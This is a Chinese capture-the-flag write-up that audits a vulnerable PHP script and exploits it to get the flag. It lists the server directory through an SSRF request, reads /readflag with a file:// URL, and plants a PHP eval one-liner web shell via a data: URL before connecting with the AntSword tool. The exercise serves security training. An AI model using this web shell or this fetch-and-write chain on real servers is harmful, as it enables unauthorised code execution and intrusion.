代码审计
192.168.122.15
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//用逗号分割多个IP$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];//给第一个IP发送请求//在存在有请求头时执行$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox);//创建文件夹@chdir($sandbox);//移动到该文件夹下$data = shell_exec("GET " . escapeshellarg($_GET["url"]));//escapeshellarg()它用于安全地将字符串转换为shell命令的参数。这个函数通过在字符串两边添加单引号,并且转义内部所有的单引号,来确保传递给shell函数的字符串不会引起安全问题。提取url给url加上单引号作为命令,perl语言向url发送get请求$info = pathinfo($_GET["filename"]);//提取文件路径信息,目录名,后缀$dir = str_replace(".", "", basename($info["dirname"]));//路径的.换为空@mkdir($dir);//创建传入的目录@chdir($dir);//切换到该目录下@file_put_contents(basename($info["basename"]), $data);//将请求结果写入传入的文件里highlight_file(__FILE__);
所以我们在请求?url=/&filename=1.php
时,会在/sandbox/md5(orange192.168.122.15)/
下把url的结果写入文件1.php。
SSRF利用
?url=/&filename=1.php
漏洞点显而易见是在参数url,传入url=/
返回上一级目录。读取目录结果在
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1.php
目录里有个readflag文件
?url=file:///readflag&filename=2.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/2.php
读取到文件是乱码,含有flag的字样,尝试上传一句话木马,连接后再执行该文件。
?url=data:text/plain;'<?php @eval($_POST['123']);?>'&filename=3.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/3.php
看到两个引号表示上传成功,用蚁剑连接,在根目录打开终端。
./readflag
得到flag。
参考文章
https://www.cnblogs.com/CAPD/p/17858896.html